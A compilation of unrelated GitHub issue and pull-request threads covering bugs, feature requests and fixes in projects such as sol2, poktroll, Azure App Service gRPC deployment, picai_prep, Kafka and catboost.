    assert_eq!(-1, f.negative())
}

then it's working fine.

I've been looking at this for a bit. It seems the root cause is in signed casting which extends the signed bit.
This demonstrates the idea: https://github.com/wrenger/bitfield-struct-rs/compare/main...jerrinot:bitfield-struct-rs:sign_shifting?expand=1#diff-b1a35a68f14e696205874893c07fd24fdb88882b47c23cc0e0c80a30c7d53759R733-R761
I am fairly sure there is a better fix, I have no idea what am I doing :)

Oh yes, thanks for catching this. This happens when the fields have the same bit size as their signed type. I've redesigned the bounds check accordingly in 8de2078, which will land in 5.5.

many thanks for a super quick fix and release! I just included the latest version in my project and it works like a charm!


fix: shrug face rendering

Please describe the changes this PR makes and why it should be merged:
You do need to escape the other _, otherwise the face is not correct
Status and versioning classification:

Codecov Report

Merging #13 (defa943) into main (879c235) will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##              main       #13   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files            1         1
  Lines           34        34
  Branches         6         6
=========================================
  Hits            34        34

Impacted Files
Coverage Δ

src/messages/formatters.ts
100.00% <ø> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 879c235...defa943. Read the comment docs.


resolve the bug

Checklist:

[ ] I have read and followed the contribution guidelines.
[ ] I have read and followed the how to open a pull request guide.
[ ] My pull request targets the main branch of freeCodeCamp.
[ ] I have tested these changes either locally on my machine, or GitPod.

Closes #XXXXX

I added some conditional changes to the code.

Hey @anoy007
Thank you for opening this pull request.
This is a standard message notifying you that we've reviewed your pull request and have decided not to merge it. We would welcome future pull requests from you.
Thank you and happy coding.


routing: Support alternatives for single-mode routing calculations

This requires to pass down the trip routing query attributes all the way down to the OSRM call. It is added as an optional parameter at the end of the route and other calculation functions, as well as in the socket route for routing calculation.
If the withAlternatives attribute is true , the osrm backend call sets the alternatives attribute to true.

@tahini , see my (old) comment


Selection prompt to extract method not worked

VSCode Version:Version 1.1.0 (1.1.0)
OS Version: Mac OS X EI Capitan

Steps to Reproduce:

Selection some lines code inside a method, will not show the prompt which will contains two menu item, just like "Extract Method" and "Use explicit type", which can be found in the release notes of v0.7.0
I just can not do this, and I google a lot for this, then I got nothing, so I'm here.

Do you have the C# extension installed? If yes and you still see the issue please file an issue against the C# extension here https://github.com/OmniSharp/omnisharp-vscode
You can get the extension here https://marketplace.visualstudio.com/items/ms-vscode.csharp


Please Add Remember Me In Login Page

Please add remember me in login page to stay logged in. it's a useful feature to track easily.
Thanks

I understand and, as I said, it should already work.

If you want to have a discussion, please use the forum.


table::for_each on a table originating from sol::as_table has an extra size element

Latest LuaJIT, sol2 009d6b0:
#include <iostream>
#include <vector>
#include "sol.hpp"

int main()
{
	sol::state state;
	state.open_libraries();

	// Vector
	std::vector<std::string> values;
	values.push_back("a");
	values.push_back("b");
	values.push_back("c");

	state["historyV"] = sol::as_table(values);

	std::cout << "Vector:" << std::endl;
	sol::table resultV = state["historyV"];
	resultV.for_each([&](sol::object const& key, sol::object const& value) {
		std::cout << key.as<int>() << " " << value.as<std::string>() << std::endl;
	});

	// Table
	state.script("historyT = {'a', 'b', 'c'}");

	std::cout << "Table:" << std::endl;
	sol::table resultT = state["historyT"];
	resultT.for_each([&](sol::object const& key, sol::object const& value) {
		std::cout << key.as<int>() << " " << value.as<std::string>() << std::endl;
	});

	std::cin.get();
	return 0;
}

results in
Vector:
1 a
2 b
3 c
-1 3
Table:
1 a
2 b
3 c

The extra element appears to correspond to the size (adjusting the number of elements changes the value). Probably an awry stack manipulation somewhere?

Ah. This is actually a small optimzation: for tables, I add the extra -1 key signaling a useful 'capacity' argument for when a std::vector is serialized from a table from Lua. This prevents things like reallocation during pushback when grabbing extremely large tables from Lua. It is an implementation detail, so I suppose I should just get rid of it, since screwing up something like iteration probably isn't too terribly worth it...

The key won't be there anymore, albeit we'll have to figure out some other mystical, magical place to store the size, because otherwise we're stuck with the limits of the default container's size and reallocation costs.
https://github.com/ThePhD/sol2/releases/tag/v2.14.9


Update prettier

Updates prettier to latest version.
The only library pinned here is mime because it requires ESM

Created a new label called dependency-updates and opened https://github.com/CesiumGS/gltf-pipeline/issues/653 to track any stuck dependencies


Add extra documentation for old plugin users

@ph let me know if this works for you!

@ph removed the line issue. Apologies

@andrewvc Made another comments that was hidden with the new push :)

You will need to bump the version too..

@ph bumped that as well. How's it look?

look great rebase and release :)

@ph this is rebased unless I'm missing something?

Ah yes it is, make sense to have 3 commits.

Update changelog.md I always forget it.. still new to me.


Remove main conda channel from Nightly and Release

Description
Remove main conda channel from Nightly and Release

[ ] I have reviewed my changes thoroughly before submitting this pull request.
[ ] I have commented my code, particularly in hard-to-understand areas.
[ ] I have updated the documentation to reflect the changes, if necessary (updated in # - add PR number)
[ ] The unit tests pass successfully.
[ ] I have run it locally and tested the changes extensively.
[ ] I have resolved any merge conflicts that might occur with the base branch.
[ ] Git commit message contains an appropriate signed-off-by string (see CONTRIBUTING.md for details)
[ ] I have added a respective label(s) to PR if I have a permission for that.

/azp run Release

/azp run Nightly

Would removal of "main channel" section from our docs also be in the scope of this PR? https://intel.github.io/scikit-learn-intelex/latest/installation.html

Would removal of "main channel" section from our docs also be in the scope of this PR? https://intel.github.io/scikit-learn-intelex/latest/installation.html

Not necessary in this PR, usage in sklearnex CI and sklearnex distribution channels are different things.

/azp run Nightly

Assuming no issues with CI


When loading a binary file, take feature penalty from config if given there.

This is https://github.com/Microsoft/LightGBM/pull/1862 , rebased on top of master.
This enables users to override the feature penalty when loading a dataset from a binary file.
For instance, it enables disabling/enabling features via:
dataset = lgbm.Dataset('data.bin',params={'feature_contri': [0,1,1,0]})
....

The above is especially useful when the data set is large, so the cost of recreating the data set from the source data is large.

Thanks, this is indeed useful.
BTW, there are other similar parameters in dataset, like monotone_constraints.
it would be better to support them as well.


doc's don't mention 'didSelect' action.

The action 'didSelect' is in the code but not in the Docs.

Nice find. I needed this and couldn't find it in docs. 🎉

Where is this action expressed?  Is it supposed to be set on the parent component/controller?

[UPDATE]  Use by calling
{{select-2 didSelect="myComponentAction"}}

This one is amazing!

@xypaul whattttt!!!


Hot Module Replacement on chrome apps

Hey,
How can I perform hot module replacement using webpack and vue-loader when am developing a chrome application or a chrome extension ?

Hi, thanks for filling this issue, however the issue tracker is reserved for bug reports and feature requests only, so please use our dedicated gitter or forum to ask questions. Thanks!


how to collapse folder using js?

document.querySelectorAll(".nav-folder-children > .nav-folder")[0] is the first folder, how to collapse it?
thanks a lot. so I can done this using QuickAdd, needn't to install too much plugins

I'm not sure I understand. You want to collapse a folder but not with this plugin? I'm not sure if you can with a query selector - you need the internal folder instance. I don't know if QuickAdd gives you access to that.
Once you have a reference to the TFolder, you can just call setCollapsed https://github.com/OfficerHalf/obsidian-collapse-all/blob/main/src/provider/file-explorer.ts#L64

You want to collapse a folder but not with this plugin?
Yes, I only want to collapse all folders, so I don't want to install a plugin just for one feature.

Once you have a reference to the TFolder, you can just call setCollapsed
QuickAdd should has access to deal it. Thanks a lot, I will have a try.
Best wishes!!

Well collapsing all folders is what this plugin does best. 🤣 But glad to be of service regardless.


[bug] Goroutines leaks on RelayMiner/AppGate

Objective
Both AppGate and RelayMiner creating, but not cleaning up goroutines at approx 2 goroutines per relay.
Origin Document

Goals

Make sure the amount of goroutines does not grow linearly with a number of relays.

How to reproduce

Start LocalNet: make localnet_up
Stake actors and run e2e tests to make sure LocalNet works: make supplier1_stake && make app1_stake && make test_e2e
Get the current numbers of goroutines:

AppGate:
curl localhost:9093 | grep go_goroutines
# HELP go_goroutines Number of goroutines that currently exist.
# TYPE go_goroutines gauge
go_goroutines 77

RelayMiner:
curl localhost:9094 | grep go_goroutines
# HELP go_goroutines Number of goroutines that currently exist.
# TYPE go_goroutines gauge
go_goroutines 846

(This number already seems kind of high after runnung e2e tests)

Now, run basic load test: make load_test_simple
Check the number of routines again:

AppGate:
curl localhost:9093 | grep go_goroutines
# HELP go_goroutines Number of goroutines that currently exist.
# TYPE go_goroutines gauge
go_goroutines 11743

RelayMiner:
curl localhost:9094 | grep go_goroutines
# HELP go_goroutines Number of goroutines that currently exist.
# TYPE go_goroutines gauge
go_goroutines 18219

General deliverables

[ ] Comments: Add/update TODOs and comments alongside the source code so it is easier to follow.
[ ] Testing: Add new tests (unit and/or E2E) to the test suite.
[ ] Makefile: Add new targets to the Makefile to make the new functionality easier to use.
[ ] Documentation: Update architectural or development READMEs; use mermaid diagrams where appropriate.

Creator: @okdas
Co-Owners: @red-0ne @okdas

CCing @ezeike @adshmh as well. This is the first (of many) tickets where protocol & backend work will start to overlap.

@red-0ne

could you please run load tests again on PR https://github.com/pokt-network/poktroll/pull/410's branch with the same setup so we can compare numbers?

Do we not have a way to reproduce this locally?
I recall reviewing & updating the instructions here: https://dev.poktroll.com/infrastructure/testing/load_testing

The leaks count is request dependent, and reference numbers would not be the same as the load testing script is 100VUs x 1minute with as much requests as possible. So numbers may differ from one machine to the other.

The leaks count is request dependent, and reference numbers would not be the same as the load testing script is 100VUs x 1minute with as much requests as possible. So numbers may differ from one machine to the other.

Got it.
My goal is not to have a specific number but understand how to reproduce it.
For example:

If I wanted to check/observe/see if there are any leaks on my LocalNet, which doc do I read/follow to do this?
If I wanted to check/observe/see if there are any leaks on my DevNet, which doc do I read/follow to do this?

The leaks count is request dependent, and reference numbers would not be the same as the load testing script is 100VUs x 1minute with as much requests as possible. So numbers may differ from one machine to the other.

Got it.
My goal is not to have a specific number but understand how to reproduce it.
For example:

If I wanted to check/observe/see if there are any leaks on my LocalNet, which doc do I read/follow to do this?
If I wanted to check/observe/see if there are any leaks on my DevNet, which doc do I read/follow to do this?

Have localnet up
issue curl localhost:PORT | grep go_goroutines (9003 for appgate server, 9004 for relay miner)
make send_relay
do 2. again and see the difference for a single relay.

I will document this in docusaurus. Will create a ticket to capture it.

@red-0ne posts an update next friday on how many go routine leaks we have. The goal is zero. If there is a VERY clear path to getting to zero, keep this open. If there's isn't, close it out and new tickets will be created when necessary.

@okdas Do you think we have resolved enough go-routines to close this one out?

@Olshansk looking at resource utilization on DevNets - we still saturate CPU when not serving requests. I'll get some pprof snapshots from these nodes so we can investigate.

Perfect, thanks for the update @okdas!

I think we're in a good position now with one exception we are going to work on - #551.


Deploy gRPC app on App Service with Rest api endpoint

I have been following How-to deploy a .NET 6 gRPC app on App Service
When I add this to my project it breaks everything else in the project, swagger wont even load anymore let alone all of the other rest api endpoints, everything is returning connection refused.
builder.WebHost.ConfigureKestrel(options =>
{
    options.ListenAnyIP(8080);
    options.ListenAnyIP(8585, listenOptions =>
    {
        listenOptions.Protocols = Microsoft.AspNetCore.Server.Kestrel.Core.HttpProtocols.Http2;
    });
});

Is it possible to mix gRPC and rest api end points in the same project?
Stackoverflow: Mixing Rest api endpoints with grpc on azure app services in the same project. ECONNREFUSED
Issue forum: Deploy gRPC app on App Service with Rest api endpoint
Microsofft: deploy a .NET 6 gRPC app on App Service -Error starting gRPC call

would you mind clarifying what you mean by nr 2?  the guild doesn't mention anything about appsettings.

@crosenblatt does this mean anything to you

1:08
Status(StatusCode="Internal", Detail="Error starting gRPC call. HttpRequestException: The SSL connection could not be established, see inner exception. AuthenticationException: Authentication failed because the remote party sent a TLS alert: 'ProtocolVersion'. Win32Exception: The message received was unexpected or badly formatted.",

The docs do mention to set an app setting specifying the Http20 port your app exposes. From the docs:
3. Add HTTP20_ONLY_PORT application setting
Earlier, we configured the application to listen to a specific HTTP/2 only port.  Here we'll add an app setting HTTP20_ONLY_PORT and put the value as the port number we used earlier.

Navigate to the Configuration under Settings on the left pane of your web app.
Under Application Settings, click on New application setting
Add the following app setting to your application

Name = HTTP20_ONLY_PORT
Value = 8585

This setting will communicate to your web app which port is specified to listen over HTTP/2 only.
As for the SSL error, would it be possible to post a code snippet showing how you are calling out to the app? Two things I can think of are: 1. You may be trying to create the gRPC channel with http:// rather than https://, which would not be allowed, or 2. You may need to add validation to check the certificate that is returned depending on the client stack.

I need my clients permission before I can share the code. The thing is this all works locally.  as soon as we enable grpc it fails.
I have added the code exactly as is in the article
builder.WebHost.ConfigureKestrel(options =>
{
    //options.ListenAnyIP(8080);
    options.ListenAnyIP(8585, listenOptions =>
    {
        listenOptions.Protocols = Microsoft.AspNetCore.Server.Kestrel.Core.HttpProtocols.Http2;
    });
});

If i remove all of the grpc section the Rest api endpoints work.   As soon as i add it back webapps wont even start. we don't even get a healthz check endpoint.

 That is necessary to keep.
A few more things to verify:
Is this .NET 6 or some other version of .NET?
Did you comment out the section in appsettings.json?
If you can get a network capture that might also help, or even just a sitename for your deployed App Service.

No movement on this issue?
To re-create, simply follow the instructions here:
https://learn.microsoft.com/en-us/aspnet/core/tutorials/grpc/grpc-start?view=aspnetcore-6.0&tabs=visual-studio-code#create-a-grpc-service
Update the App Service to use HTTP2 and the correct port (8585). Then add an API controller to the code:
using Microsoft.AspNetCore.Mvc;

namespace GrpcGreeter.Controllers;

[ApiController]
[Route("[controller]")]
public class HealthController : ControllerBase
{
  [HttpGet]
  public ActionResult Get()
  {
    return Ok();
  }
}

and update Program.cs to the following (notice AddControllers() and MapControllers()):
using GrpcGreeter.Services;

var builder = WebApplication.CreateBuilder(args);
builder.Services.AddGrpc();
builder.Services.AddControllers();

builder.WebHost.ConfigureKestrel(options =>
{
  options.ListenAnyIP(8080);
  options.ListenAnyIP(8585, listenOptions =>
  {
      listenOptions.Protocols = Microsoft.AspNetCore.Server.Kestrel.Core.HttpProtocols.Http2;
  });
});

var app = builder.Build();

app.MapGrpcService<GreeterService>();
app.MapGet("/", () => "Communication with gRPC endpoints must be made through a gRPC client. To learn how to create a client, visit: https://go.microsoft.com/fwlink/?linkid=2086909");

app.MapControllers();
app.Run();

Doing so causes the app service this is deployed to to fail to start. Example error:
2023-02-03T17:56:51.544876165Z    _____
2023-02-03T17:56:51.544909265Z   /  _  \ __________ _________   ____
2023-02-03T17:56:51.544915166Z  /  /_\  \\___   /  |  \_  __ \_/ __ \
2023-02-03T17:56:51.544918966Z /    |    \/    /|  |  /|  | \/\  ___/
2023-02-03T17:56:51.544922466Z \____|__  /_____ \____/ |__|    \___  >
2023-02-03T17:56:51.544926166Z         \/      \/                  \/
2023-02-03T17:56:51.544929366Z A P P   S E R V I C E   O N   L I N U X
2023-02-03T17:56:51.544932566Z
2023-02-03T17:56:51.544935566Z Documentation: http://aka.ms/webapp-linux
2023-02-03T17:56:51.544938666Z Dotnet quickstart: https://aka.ms/dotnet-qs
2023-02-03T17:56:51.544941766Z ASP .NETCore Version: 6.0.12
2023-02-03T17:56:51.544944866Z Note: Any data outside '/home' is not persisted
2023-02-03T17:56:53.652518284Z Starting OpenBSD Secure Shell server: sshd.
2023-02-03T17:56:54.171924731Z Starting periodic command scheduler: cron.
2023-02-03T17:56:54.172866437Z Running oryx create-script -appPath /home/site/wwwroot -output /opt/startup/startup.sh -defaultAppFilePath /defaulthome/hostingstart/hostingstart.dll     -bindPort 8080 -bindPort2 '8585' -userStartupCommand ''
2023-02-03T17:56:55.428426339Z Cound not find build manifest file at '/home/site/wwwroot/oryx-manifest.toml'
2023-02-03T17:56:55.428596740Z Could not find operation ID in manifest. Generating an operation id...
2023-02-03T17:56:55.428951042Z Build Operation ID: 0961dd61-91c7-4520-9f38-14e09f7883d1
2023-02-03T17:56:55.830698173Z
2023-02-03T17:56:55.831500278Z Agent extension
2023-02-03T17:56:55.831518278Z Before if loop >> DotNet Runtime
2023-02-03T17:56:55.893870756Z DotNet Runtime 6.0Writing output script to '/opt/startup/startup.sh'
2023-02-03T17:56:55.955292327Z Trying to find the startup DLL name...
2023-02-03T17:56:55.955330428Z Found the startup D name: GrpcGreeter.dll
2023-02-03T17:56:55.955337328Z Running the command: dotnet "GrpcGreeter.dll"
2023-02-03T17:56:59.718877139Z warn: Microsoft.AspNetCore.Server.Kestrel[0]
2023-02-03T17:56:59.718921439Z       Overriding address(es) 'http://*:8080'. Binding to endpoints defined via IConfiguration and/or UseKestrel() instead.
2023-02-03T17:57:00.417194664Z Unhandled exception. System.IO.IOException: Failed to bind to address http://[::]:8080: address already in use.
2023-02-03T17:57:00.417475866Z  ---> Microsoft.AspNetCore.Connections.AddressInUseException: Address already in use
2023-02-03T17:57:00.422366399Z  ---> System.Net.Sockets.SocketException (98): Address already in use
...
/home/obsidian/Projects/GrpcGreeter/Program.cs:line 23
2023-02-03T17:57:07.665446944Z /opt/startup/startup.sh: line 21:    68 Aborted                 (core dumped) dotnet "GrpcGreeter.dll"

Any news on this? This fails even following the official documentation quoted above


Basic Agent updated prefab and communication environment basic set-up

updated BasicAgent prefab with new model/texture
ID Layer added to the project
communications environment - initial set-up
in the scene the AgentCameras have modified cameras - moved closer to the agent and the Culling Mask has the ID Layer turned off.

[accepted] updated BasicAgent prefab with new model/texture
[accepted] communications environment - initial set-up @wandrzej , can you play around with the BeeDance to see if it is what you intend? The reward, the observation and everything, let me know if there is any issues.

Add:

ColorReinitializor.

Working on:

ID Layer added to the project
in the scene the AgentCameras have modified cameras - moved closer to the agent and the Culling Mask has the ID Layer turned off.

@wandrzej As we have discussed following items yesterday and the plan has changed a bit.

ID Layer added to the project
in the scene the AgentCameras have modified cameras - moved closer to the agent and the Culling Mask has the ID Layer turned off.

As I remember, latest the plan is:

making AgentID disappears in AgentCamera, and appears in TopDownCamera
making Binary Encoder appears in AgentCamera, and disappears in TopDownCamera
Correct if I am wrong. And do a commit if my understanding is right.


2014 & 2013s, ryd support

the 2014 & 2013s suggestions overlap part of the video (i am on livestream so you could see what i mean!)

also, the ryd support kinda botched. (i have the new likes experiment)

I'm pretty sure having the related videos section overlap the video by 1 pixel was necessary to fix a much bigger issue involving the player styling that strangely only happened on the 2014 layout. It's also such a minuscule issue that I don't think I plan on fixing it.
Keeping the issue open because I do plan on fixing the second thing.

i like to see all the video, after all, i am a completionist & thus want to see the video in full.

Just watch in fullscreen then. I can't say if I'll get to this.

wait... 2013 player is slightly to the left, that's why it slightly overlaps in 2013!


Etcd install failed  when I modified etcd_data_dir in k8s-cluster.yml

When I modified "etcd_data_dir" to "/data/etcd" and then install kubernetes cluster，there is no error or fails during the installation, but under directory /data/etcd, there is nothing! Of course etcd cluster is not installed successfully......
Is there something else should be modifed when config etcd_data_dir ?

@luckyruruguo is this maybe because the /data/etcd path didn't pre-exist? We may need to add a step to make sure that path exists. If you do a little deeper digging, hopefully we can patch this.


Preserve stitching errors

This PR aims to solve the same issues as #1074 (i.e., #743, #1037, #1046, apollographql/apollo-server#1582).
It does so by:

making sure to not use object spread notation with GraphQL error objects, as these are not plain objects.
using a new relocatedError function based on locatedError to change a GraphQL error path.
defining a new CombinedGraphQLError class to represent initial stitching errors which must be thrown together. It passes through the first error as usual, and then adds an additional errors property with all the errors. This seems to mimic existing functionality most closely, but my suspicion is that this new class should really be eliminated, and the initial stitching errors should be placed at something like extensions.initialStitchingErrors.

Tests have not yet been updated.

they seem to be failing because more error properties are being passes through, which is good news.
they also are failing because the locations of the errors are now more consistently updated, also good news.
and they are also failing because of the change in that the initial stitching errors are now always passed through with the first error containing an errors property with all the errors (including the first). this format may change, as above.
no tests seem to be failing unexpectedly.

TODO:

[X] If this PR is a new feature, reference an issue where a consensus about the design was reached (not necessary for small changes)
[ ] Make sure all of the significant new logic is covered by tests
[ ] Rebase your changes on master so that they can be merged easily
[ ] Make sure all tests and linter rules pass
[ ] Update CHANGELOG.md with your change. Include a description of your change, link to PR (always) and issue (if applicable). Add your CHANGELOG entry under vNEXT. Do not create a new version number for your change yourself.

Just to comment on graphql-tools-fork, where this pull request will likely actually be merged soon.
In general, the aim of the fork is to (A) actually get fixes merged and (B) stop the deprecations of useful functionality. In particular, I think schema stitching/delegation should not be deprecated -- it seems still very useful, especially with delegation to external GraphQL APIs.
One stated rationale for deprecation was that schema stitching is brittle; I think merging bug fixes will show that it is less brittle than thought. :)
I also believe that there may exist simpler solutions to the problems that schema federation is meant to solve, and that the schema delegation/stitching API gives the community the low-level tools to continue to experiment. More on this when time allows and in separate issues.

Comments, feedback, opposing viewpoints welcome!

Released to graphql-tools-fork as v5.1.0.
https://github.com/yaacovCR/graphql-tools-fork/releases/tag/v5.1.0. Am going to work on pulling out only the necessary changes to see if it can be merged upstream.

Similar to #1104 and #1131, failing tests are external to this change and fixed by #1102.

@yaacovCR I'm hitting the same error. Was this PR superseded by something else or did you close it because you received no response?

Nevemind, found https://github.com/apollographql/graphql-tools/pull/1206 :+1:


Unity 3D dependency.

Hi, is there any possibility that just the runtime can work without Unity? ScriptableObject is used but would it be out of the box to remove it? Does the project serialize only with Unity's internal Json or with Netwonsoft does it work?
Cheers!

Hello, unfortunately, I removed the JSON serialization because there were issues with Unity objects. Now we're using the [SerializeReference] attribute system which requires Unity to work.

Does it work after build for .exe? Because we want construct nodegraph function in for players, not just for game developers, so  we are looking some solutions.

您好，不幸的是，我删除了 JSON 序列化，因为 Unity 对象存在问题。现在我们使用需要 Unity 工作的 [SerializeReference] 属性系统。

为.exe构建后它可以工作吗？因为我们想为玩家构建节点图函数，而不仅仅是为游戏开发者，所以我们正在寻找一些解决方案。

equally concerned about this issue! do you have a solution now?

Hello, unfortunately, I removed the JSON serialization because there were issues with Unity objects. Now we're using the [SerializeReference] attribute system which requires Unity to work.

Does it work after build for .exe? Because we want construct nodegraph function in for players, not just for game developers, so we are looking some solutions.

equally concerned about this issue! do you have a solution now?


Dataset.json file cannot be found during nnU-Net Raw Data Archive → nnDetection Raw Data Archive conversion.

I was converting data from nnU-Net Raw Data Archive → nnDetection Raw Data Archive format but getting error.
Copying annotations from D:\Thesis\thesis_code\output\nnUNet_raw_data\Task2201_picai_baseline\labelsTr to D:\Thesis\thesis_code\output\nndet_raw_data\Task2201_picai_baseline\raw_splitted\labelsTr
Copying scans from D:\Thesis\thesis_code\output\nnUNet_raw_data\Task2201_picai_baseline\imagesTr to D:\Thesis\thesis_code\output\nndet_raw_data\Task2201_picai_baseline\raw_splitted\imagesTr
Traceback (most recent call last):
File "D:\Thesis\thesis_code\Data_prep3.py", line 3, in
nnunet2nndet(
File "C:\Users\Shammas Javed\AppData\Local\Programs\Python\Python310\lib\site-packages\picai_prep\nnunet2nndet.py", line 161, in nnunet2nndet
nnunet2nndet_dataset_json_conversion(
File "C:\Users\Shammas Javed\AppData\Local\Programs\Python\Python310\lib\site-packages\picai_prep\nnunet2nndet.py", line 96, in nnunet2nndet_dataset_json_conversion
with open(path_src) as fp:
FileNotFoundError: [Errno 2] No such file or directory: 'D:\Thesis\thesis_code\output\nnUNet_raw_data\Task2201_picai_baseline\dataset.json'
PS D:\Thesis\thesis_code>
I think there should be a dataset.json file created during MHA Archive → nnU-Net Raw Data Archive conversion. But no such file is created in my case.  Can you help me to resolve this issue.

Hi @Shammasjaved,
You are right, the dataset.json file should be created during the MHA Archive to nnU-Net Raw Data Archive conversion. I checked the documentation, and found that the command to create this file was missing when running the conversion from Python:
from picai_prep import MHA2nnUNetConverter

archive = MHA2nnUNetConverter(
    scans_dir="/input/path/to/mha/archive",
    annotations_dir="/input/path/to/annotations",  # defaults to input_path
    output_dir="/output/path/to/nnUNet_raw_data",
    mha2nnunet_settings="/path/to/mha2nnunet_settings.json",
)
archive.convert()

This should have an additional line:
archive.create_dataset_json()

When using the command line or Docker container to convert the dataset, the dataset.json file should have been generated already.
Were you indeed using the Python interface? I've now updated the documentation to include the dataset.json generation.

Thanks issue was resolved


KAFKA-17456: Make sure FindCoordinatorResponse get created before consumer

JIRA: KAFKA-17456

The incorrect order could lead to flaky (see KAFKA-17092 and KAFKA-17395). It would be nice that we fix all of them.

Committer Checklist (excluded from commit message)

[ ] Verify design and implementation
[ ] Verify test coverage and CI build status
[ ] Verify documentation (including upgrade notes)

I have looped the KafkaConsumerTest 360 times on my local machine.

@frankvicky—where are we on merging this? It appears the build and all tests pass.

@chia7712 Could you please take a look ?


Test data committed to repo

Currently the test data is commited to repo, which makes cloning slower.
I think we can generate the data on-the-fly for the tests, so that we do not have to store the data in the repo anymore.

I also see that a trained model has been committed here, we shouldn't be committing this kind of files to the repo.


Fixed template.md and build-common.js

What kind of change does this PR introduce?
Changed multiple-entry-points and changed unoptimized mode to development and re-build readme files..

Did you add tests for your changes?

If relevant, link to documentation update:

Summary

Fixes #6528
Does this PR introduce a breaking change?
No

Other information

Thanks


requireNativeComponent "androidCheckbox" was not found in the UI manager

I'm getting this error after installing the library with the yarn command line yarn add rn-checkbox-list and import it. What am i missing?

Looks like dependency (@react-native-community/checkbox) for this package is not getting installed automatically when added via yarn.
@tonydatw add the package via yarn add @react-native-community/checkbox and try again. It should work.

I have same error, install  @react-native-community/checkbox but has error


Re-enable carousel integration tests

Technical considerations
This pull requests contains a few minor changes (e.g. it creates a test container for the carousel), but also one important consideration to guard against flakes - the Container.waitReady API. Some components such as carousel use ResizeObserver to complete their layout and testing before it happens is a big source of flakes. In other words - the layout of such components is asynchronous and unobservable to the test. waitReady takes care of it, by allowing the component to declare that it needs time to finish its layout and when it actually happens.
For now, a test should "know" and use this API when testing a relevant feature. I think this is ok since most of components have a good auto-layout, and this is more of an exception.

Speaking of readiness.. It looks like there can be false positives when videos or images on the library haven't fully loaded yet. Example:
https://percy.io/google/web-stories-wp/builds/5863854

Speaking of readiness.. It looks like there can be false positives when videos or images on the library haven't fully loaded yet. Example:

@swissspidy Would you mind filing a bug for this? This is somewhat of a different type of readiness and happens on a different process. But I'm pretty surprised this happens since Percy was supposed to wait for window.onload that should be taken care of this...

Sure thing, will create one :-)


Settings to compute depth descriptors

I am trying to compute the depth descriptors using Undemon for the subset of oxford dataset provided and have the following questions:

What image resolution was used to predict the disparity?
Can you provide the algorithm and values of focal length, baseline, and image width used to compute depth from the predicted disparity?

Hi @rahulagrawal048,

What image resolution was used to predict the disparity?

h, w = 256, 512

Can you provide the algorithm and values of focal length, baseline, and image width used to compute depth from the predicted disparity?

depth = (b * f) / (w * d)
where, baseline (b) = 0.5335 and focal length (f) =<PHONE_NUMBER>81 are the values based on the training dataset KITTI and  width as the scaling factor (w) = 512 is used to rescale predicted disparity (d) \in [0,1] to [0,w].
Hope that helps.


merge redundant code in expressions

This removes a lot of the redundant code from the expressions. It makes it simpler to implement new expressions, and fixes a few hidden defects in the previously divergent code.
Deprecations warnings will be produced at runtime in most cases (since it can't be detected statically).
There is one removal of old "technically public" API from UnaryOperator. A compatbile addition could be made, but it'd be messy, and those funcions should not have been exposed to begin with (they don't work correctly, nor did Binary/Ternary/QuaternaryOperator expose them).
I didn't manage to simplify all the bits I wanted yet, but this seems like a good merge point.
This PR contains:

[x] Changelog
[x] Documentation
[ ] ~Tests~ Already covered

@kusma Introduced the removed functions as deprecated. Added a test since the implementation is a bit mad.


catboost: 1.2.2 -> 1.2.3

Diff: https://github.com/catboost/catboost/compare/refs/tags/v1.2.2...v1.2.3
Description of changes

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[x] sandbox = true

[x] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
24.05 Release Notes (or backporting 23.05 and 23.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

Does this fix python312? https://hydra.nixos.org/build/255593341
@ofborg build python312Packages.catboost python312Packages.catboost.passthru.tests


Is Denied/Restricted Party Screening API planned?

I see that the new APIs have Landed Cost functionality, but another function that the old UPS TradeAbility API offered was the Denied Party Screening API.
We have a number of clients that rely on Denied Party Screening as part of their business process, and this functionality does not appear to be available in the new API.
Are there plans for this functionality? June is rapidly approaching which will break access to the existing access key based APIs which does include Denied Party Screening. It would at least be helpful to have a confirmation one way or another whether this functionality is planned or if existing UPS customers will have to mitigate this in some other fashion.

Yea there's a few services they don't appear to be supporting with the new API,
They might be available at the original Endpoints with the new Auth Headers, but I haven't tested the "Stepping Stone" solutionsyet, though those are "supposed" to stay active tell next year. (The Stepping Stone solutions)

Which stepping stone solutions are you referring to?

I saw it last year in a stack overflow question, can't find it right now.
I've just been working on trying to get all the current apis working.

@UPSCadeCreech @UPSRahul Can we get some insight into whether or not this API is planned? Customers need to start finding alternate solutions if Denied Party Screening won't be available in the new API.

@ataylorkato
Found this link in another thread, shows the Stepping Stone Endpoints.
https://developer.ups.com/api/reference/steppingstone/endpoints?loc=en_US

Denied Party Screening does not appear to be covered in the stepping stone endpoints, or in  the new API. June 3rd is imminent and clients need to know if their Denied Party Screening integration is going to entirely break with zero support or communication from UPS. @UPSCadeCreech @UPSRahul Any insight, please!


188 random walk refactor

This addresses #188 and in the process attempts to move things in the direction of the proposed RV design spec from #266

What is the idea behind TransformedRandomVariable? Why not just create a DistributionalRV with a TransformedDistribution as the dist? Or even us TransformedDistribution as the implementation for the TransformedRandomVariable if you are trying to make a different interface.

What is the idea behind TransformedRandomVariable? Why not just create a DistributionalRV with a TransformedDistribution as the dist? Or even use TransformedDistribution as the implementation for the TransformedRandomVariable if you are trying to make a different interface.

We may wish to apply transform the output of RandomVariable.sample() calls for RVs other than DistributionalRVs. Indeed, in the examples here we use TransformedRandomVariable to transform the output of SimpleRandomWalk, which is not implemented as a numpyro.distributions.Distribution

